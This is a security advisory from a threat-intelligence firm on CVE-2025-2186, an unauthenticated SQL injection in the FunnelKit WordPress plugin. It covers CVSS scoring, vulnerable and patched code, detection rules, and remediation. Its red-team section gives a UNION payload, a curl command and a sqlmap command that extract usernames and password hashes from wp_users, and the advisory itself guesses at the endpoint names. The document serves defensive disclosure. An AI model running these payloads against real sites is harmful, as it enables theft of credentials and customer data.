CVE-2025-2186

Executive Summary

CVE-2025-2186 is a critical unauthenticated SQL Injection vulnerability in the FunnelKit (formerly WooCommerce FunnelKit) plugin for WordPress, affecting all versions up to and including 3.5.1. The flaw resides in the automationId parameter, which is insufficiently sanitized and not properly parameterized in SQL queries. This allows any remote, unauthenticated attacker to inject arbitrary SQL commands, leading to the extraction of sensitive data from the WordPress database, including user credentials, session tokens, and WooCommerce order details.

The vulnerability is classified as a WordPress ecosystem issue, specifically within the FunnelKit plugin, and is not related to Apache or Nginx server software. The plugin is widely used for marketing automation, cart abandonment recovery, and email marketing, making this a high-impact threat for e-commerce sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin from the directory or via automatic updates are at risk. No official patch has been released as of the time of analysis. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The combination of unauthenticated access, low complexity, and high confidentiality impact makes this a critical risk for any WordPress site using the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability exists in the FunnelKit plugin’s handling of the automationId parameter, likely within an AJAX endpoint or REST API route. The plugin fails to properly escape the user-supplied input and does not use prepared statements for SQL queries. This allows an attacker to inject SQL commands by crafting a malicious automationId value.

Root Cause:

• The automationId parameter is directly concatenated into a SQL query without proper sanitization or parameterization.
• The plugin uses $wpdb->query() or similar functions with unsanitized input.

Attack Vector:

• An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php or a custom REST route) with a malicious automationId parameter.
• The injected SQL can be used to extract data from the wp_users, wp_usermeta, wp_options, and WooCommerce tables.

Example vulnerable code pattern (simplified):

$automationId = $_GET['automationId'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}automations WHERE id = $automationId" );

Exploitation Impact:

• Extraction of admin password hashes (for offline cracking).
• Retrieval of WooCommerce customer data (names, emails, addresses, order details).
• Access to session tokens and API keys stored in the database.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.5.1):

// Vulnerable: Direct concatenation of user input
$automationId = $_REQUEST['automationId'];
$query = "SELECT * FROM wp_fk_automations WHERE id = " . $automationId;
$results = $wpdb->get_results($query);

Patched Code (Hypothetical fix):

// Patched: Use prepared statement with %d placeholder
$automationId = intval($_REQUEST['automationId']);
$query = $wpdb->prepare("SELECT * FROM wp_fk_automations WHERE id = %d", $automationId);
$results = $wpdb->get_results($query);

Key Differences:

• The patched version uses $wpdb->prepare() with a %d placeholder to ensure the input is treated as an integer.
• The vulnerable version directly concatenates the unsanitized input into the SQL string.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress instance with FunnelKit plugin version <= 3.5.1 installed and activated.
• Network access to the WordPress site.

Exploitation Steps:

1. Identify the vulnerable endpoint: The automationId parameter is likely passed via a GET or POST request to an AJAX action or REST route. Common endpoints include:

   • /wp-admin/admin-ajax.php?action=funnelkit_get_automation&automationId=1
   • /wp-json/funnelkit/v1/automation?id=1

2. Craft a SQL injection payload: Use a UNION-based injection to extract data. Example:

   automationId=1 UNION SELECT user_login,user_pass,user_email FROM wp_users--
   

3. Execute the attack:

   curl -k "https://target.com/wp-admin/admin-ajax.php?action=funnelkit_get_automation&automationId=1%20UNION%20SELECT%20user_login,user_pass,user_email%20FROM%20wp_users--"
   

4. Extract data: The response will contain the injected data, allowing the attacker to harvest credentials.

Automated Exploitation (using sqlmap):

sqlmap -u "https://target.com/wp-admin/admin-ajax.php?action=funnelkit_get_automation&automationId=1" --batch --dbs

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unusual SQL error messages in logs (e.g., "You have an error in your SQL syntax").
• Look for requests with suspicious automationId values containing SQL keywords (UNION, SELECT, FROM, etc.).
• Use WAF rules to block SQL injection patterns.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php or /wp-json/funnelkit/v1/automation with automationId parameter containing SQL syntax.
• User-Agent strings associated with automated tools (e.g., sqlmap, curl).

File IOCs:

• Modified plugin files (e.g., wp-content/plugins/funnelkit/).
• Unexpected database entries in wp_options or wp_usermeta.

Log IOCs:

• SQL error messages in WordPress debug logs.
• Unusual database query patterns (e.g., UNION SELECT statements).

Detection Engineering

YARA Rule

rule CVE_2025_2186_FunnelKit_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting FunnelKit plugin automationId parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2186"
    strings:
        $s1 = "automationId" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "wp_users" nocase
        $s6 = "wp_options" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s1 and any of ($s5, $s6))
}

Sigma Rule

title: CVE-2025-2186 FunnelKit SQL Injection Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against FunnelKit plugin automationId parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - "/wp-admin/admin-ajax.php"
            - "/wp-json/funnelkit/v1/automation"
        c-uri|contains|all:
            - "automationId"
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2186 FunnelKit SQL Injection Attempt"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"automationId"; http_uri; pcre:"/automationId=.*(UNION|SELECT|FROM|DROP|INSERT|UPDATE)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in the automationId parameter.
3. Restrict access to the vulnerable endpoints via .htaccess or server configuration.

Long-term Fix:

• Apply the official patch from FunnelKit when released (check their changelog).
• Upgrade to a patched version (currently unknown).
• Conduct a security audit of all WordPress plugins.

Workaround:

• Add the following rule to .htaccess to block malicious requests:

  RewriteCond %{QUERY_STRING} automationId=.*(UNION|SELECT|FROM) [NC]
  RewriteRule .* - [F,L]
  

Valters IT – Securing digital ecosystems through proactive threat intelligence.